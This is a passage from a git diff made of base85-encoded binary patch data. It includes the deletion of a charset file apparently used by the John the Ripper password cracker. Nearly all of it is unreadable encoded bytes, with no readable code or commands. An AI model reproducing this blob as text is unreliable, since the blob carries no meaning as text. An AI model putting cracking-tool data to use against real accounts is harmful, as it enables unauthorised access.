zF4gnwsazHEF)x{G3KoIRftKabzRlnr(ra~J=f2JQA1B}!r_Q%I6RvM(ROgrT9>c?A zRN5;jFMSA1&Ysbr*-8y7dkT8#zd%NfoP!;rsCyp#bfr$lH)X5B7?oc+uW<}Fn8Nge zZ(GLex6UgN(TrCk556EZOS1`p23Q#U8AOvI1qoHg)Y5#zILyu4O#^)ifXL7>9^ zIjwMOP!Tlt(l-$tnu(9CVV0H(vs3^+$*Wm{ATnM&d3jWIX48-$Ei4U{*j%KbF$j0^V$R^dH};Z{A*0c`cx(;0eL} zBI1H-(z^?|4YWx_h`e_N*e2~xw&*@<^CkhI23re(-o^8{wn$Rt3rCEseKT=K{;VyL zETs)?tKg-PZTx_tg6#5j?5vHS?ov0qq;{?SqyfV`#gr_Sy1;L)xhLaFT8ox;Q+p8T zZ{@T=o+XE;8lnOl@j3?nG@*Uf8le1kw`-C_>$eC<;%j#xu}?5zF87#vYoTJ76Jm=a zsW*_e5+64pRQ6K$s;)9a8_Ym|yh~8TN$OAyqa&K)<;KXj;G6t#IJqyAnm!o@`hPCDK_20xC=pwmj2z>g_pUp3}Dc+_yii3R`8l<)^Xtq{eI!LrYc!G>tgaJ3aG{`kFqrOFumQ(UjL>TPV;(289v=XUhA zVV%oaa&)Y?Uweox>ks%PAknfPrMjS!j*?7Qdu#CPen4jA&s>XY8rbM$T&C2P`Vtcp zZchmw2jr3lRi#-~+wxV`XTEYhyi{OK1QCRd?KvYYy1@Fp&Stfc;kLe51l79fH>Z}O zYE(925U>Bx9Z`7LTANCF7%S-xHW}26cu2f7>p!(@$eS$H?#j&>J;NssnaqxUCwU+7 zMX`t06Y5IMF3auP8mH{~jl)|#Ys71YrBah@WU>>>KN~N-2!h2N$@N z2!&r8Y|*7Ob4hqTv*V0BN~p@a&dqp}2!0?B%%xq(ILE5SqoVcFP6 zUazu(@?!PZJA_auzu9?GxfAZ#5Ovg;0x4feB(zPKmXfio=ZHH3qWz_JR3+&H5~_)5 zBPr?|$2HM(SP9NQd&xE1I8jKUs^9jnsP_y@(A$;qd(y`4t_P}67|(u0cGcudReWSE zr4JHBM206yt{Q~Xr;%(UPIEb3WAwEQyqEZDkv2^}AuJ=gH%g*MM%%`@GKjZSxKc>% zV!8@>lbdv*IoYbxq(Ta|acP?7Cj~DGpkQ-8i{ca7G{1ZXZWs>j%?$YhdotQdE7w;g zEPgy2Tlcj%G=QE29`PXff}8urA@c=wIvRf}A?YA;otsF&%}%`Ao2LzdDr*JhhPnK2 zZN7O?_f$|$#nZVpE6Jj5KON92k=U(8lc`nGJ1Xm?04S}0M8zi=wvtUZNnrwWRX^dg zFfkc(7?>%N?PYur~V3s>kxYG)B@Z(O9>4_Jxzo|$>`ha*6M7SZ8>dh z6dSW7ixoIeX8i4Z4V()K-*#9r|#CpQ7a zMdg{)Kux#_5hF$;vb(LJc6Rs@tab;(h5(Q)f~BbSC2tp`Noxa&Pp0kb$IQ|2O!Y>- zNdYrWYB!_7>jNv13O{Vhv(Mv)k#L0uwcL7o$s-(3mW#6WV*7vI^!%NZ+ndmQ)b3V* zztiqJo%>g@!=C(Xxyw)FaALNlq^Tli)1LA9m&}>8s_|E8hTxdO{}0Jj6Aj9feU&i- zCNmNNn8+wlqgkJ0H*?_b+V!)UB>iRgr~bP8%S-I0%-!zBYrSOH?#5`@-C6Zjb`N~b z-9ue>_vm(7kN~@9!yAAHN8*N1xXfSoX5#;VVTwhSt<>rE#Str6EO=FDrW`jbTZU_G zkJV%;uOUZhDT>n#6?sjBTKn&%+Xuu%tJ1wD(?Cr$;$BAh-j<1TZ@c~v#6*>S{o+>g zRC~L*ZxRp-a7k3io5C+;nLLiYBbPIW6WE~(a3KESy-u@4$M#O+;@vwdBY3ZCMh2n* zB{rLqGPY-lFLKsf1_r!8#|X(!<{3H}N&Ad}>@Nn>xBrc=D1Tb|k_h{VW9|K5DQ0@M z3B7~`AnDrAb%1{n;ddFbAIptTCx42`@S=L~{Zu^IUsqRxMIm?HbK z8IDL#@z3UUW*I_!f0I>cg2`iUm;8OmrR$I*zC89vMnX7LgJA<&T8V#uKcaD38^!H& zox;3eOZ8@?WN=G)3?2F%efr1sbkgTETdl6(+4Sc9<6hwg+dnBk>%2C;{&w1H-UzAj z=>^BSul8c97@C8}dB5Mmo$R0MykJTiRa*s#elTOEvr1=T1ZQ(Do(JoB^M(H$EX3J# zuvmo3L86lfOB(iojcKWQ{XBm&eUOBDM(q>MqD&wFO{0{GKlp{P$10OypiD?JUdiqL zeX#sr5T=BC;h3(~(;5S56hhF0z-A8uVEF%`nS6|c6ge;KNhD)EdFrq1yi993evCFo z)_vZM#_N3#&LkiBL-q#5bVbZ#aBd} zA5wXx9<8=q>~PVq;tufYhqO5E#i(|N!0q^^ZSaaQ;$t@+QsY>%vKrFThik#Q)Q1o< zV`+`zfYL%+ZM9Nz)t?CKy2waPv8W8h1z&J6z08Y z_HgfrM1Oq7<|T;HK%TmD?m_6a5A5Q`LZ{=c~)-fO0$aI}sVf1?OwD zo}-f+D9Zs}if0kQ>#H}qxrxDvkUaFH7pUExYtf`@3aElf63m!U9P&ZNwV?tY7_#yL z;u2hEI#b%_9N2U6l+3_1%7t0ds=FG;07bIY96q`nB}9BobG78JwhS5qAd1*IUh)Z! z2^q_^Yn+pGu@8Nl%=J6~QS#Emxn>xLk_r6726D^(jX37$le|3+Y9Rn9jH)(b1R`D< zrTVPy?;%6H^up$_^_6&TqjXGbFuVv0m?xhn8^8v><5y)ilPR3jPeIMXtOQU)rVPE| z34v0a!eJdhiIPSu=U%kK*_Z$t_i9C;oGj>@@k`oVG^cUp<^4~{6C>2?pAaV;;$@b@ z(DWr^P82HO*h_Xc*c9b;`h4>;xdtQes{#G~QCviPNHF|<0m%ncI%!{dd#p`jh1ZHZ z*;e1OS7+_YMIUNT$4op=WrIYq^7?etyhEN{c7k$cGy}^wWnF2>8smfX&2rV)RtpAD&o&ZZn=Q_F2Cr`S3?b1Yt zXhUQ4pmhT4$xN~eEp9V2iTS)}O80%be5pR?jlLM9VoxBDBIls5@TX7U%v!fxsZ*Z5D@knys-^;6>?_Ps7Gm)9 zKe&cn?OiW&El4YR#mZHR#o~p!nebb3fF_WC8fNEH6oy%q zeosCKHRm-iGufZbXwS1*;0ZndY)(fyo3CYaA;-hnd-mN3wEB?_o(pfH`Hw!*N_3l$*w}3#nydLjc41LO3ro=_21;rp$-DR3TLPd zgi(wW1%Zk-r39T9ZMGj|JUV$eFw#L|DHhR)Ri8^f$l39v1;M6S(M9EFCuR?TcZ!&) z5MPHwo!feC@><2Ee$TpZ@cE-Ae*y#o5xFwr=V@B}yIH0eZicYGcld-|u$< ztG}ZMrwSb>mJO&M%Yw~1%fSEr+eOb67PFkITP$Sp&10M|#rb&tJ)1u=9M0De#fI{X zdh#%F{eSQ+SApFcj&(GKuje@5bj$N7>(E;{%SFils_vNYbiOxfSniu}tYmYgj&i_T z!>7Aa=q?e}^SJfSPoklncLs0OD@nH+s-yF8gq)XWj`RJz`{?UjPz#Ei>SC6XXn!tx z+C|AHxKNwJ_V;CrFce>GFbOZhKA|$5#l@#C5l|Oe1Ah&yD~>^KPdlzdr~7h+b#Y^e zD(5f_Kgy~tX>tHVHbj=RTX!i@^K^A!uLO6yKNzE;T{*(AtT&#=srMNos(3F|vg?s3 z0AG=lT~7aDGn{b%UuFY9FN>X=0rRrllkRS1fJcIK5BSMq+yQwF6IxFa2cTC&i*ylj zfpFURmmSzuV&PS2J6e8Mx757dvxlLpUe0Tk%SGS!GGF~N!Ieur&ZHdG?edpz7I2rs zt3_44%u`+Nj5zPy=pVI|XS_Vhc)vW+cP~5M@$&51N4SiDxa{Vah25~wO9_ViPO@Ud zF0OJaxJa5E3kZ?gGSkZyf{k)xz%F7>v-^1@{GUva_$Oems_~7|CJwPYMfah{+5g@S z%alm3STS?U9uW?N5N|>J?oeH;PO;Q#SY*Fq#eb+w1wMfrWPGDN{}hk9xI0_#d6;?- zUkEReH?&6&gZ|sg)kpoldjIS-T6fKr+vRquk@;EDksqc4NVUn}N){ah!3?Jr|CCaj zz(2LOsgdwd)yHkwzS72WlI1q4O&=y>A?BNYv-R4B+cvK@Uj7>tN+^DXsBm%`Z|bVZ zJ@<*6_Jj0?_s_ePzwEsGx5xinNRdulr&5^4^~p#uR%j#~xTPhx7*UkDw?4b`~JVb&DKX+j}jo+QID*y9_i0%zQDcQTm-Uu%8%bZ%%oUm>5|TJ%qEScz}aP+y+wSFLHI`Nk1=J^YZIp=ujZ1nt$w#)YK;%ldTy zKkX@G!F?;06R$p~nXy#DJtaYm1H1NtR_X;`)b;HZBjrs!?m@*(=aw1gVvQEfEw*F9HX;eI+y>fBqz)LUi5u8n)4F bzvBOW=uZdtaBToySMQ%lsQ#b-_y7D~ZG1Iz diff --git a/data/john/run.linux.x86.mmx/alpha.chr b/data/john/run.linux.x86.mmx/alpha.chr deleted file mode 100644 index 48586c0510b07dfa5b8245bd7b96eac8b574cc2b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 131549 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 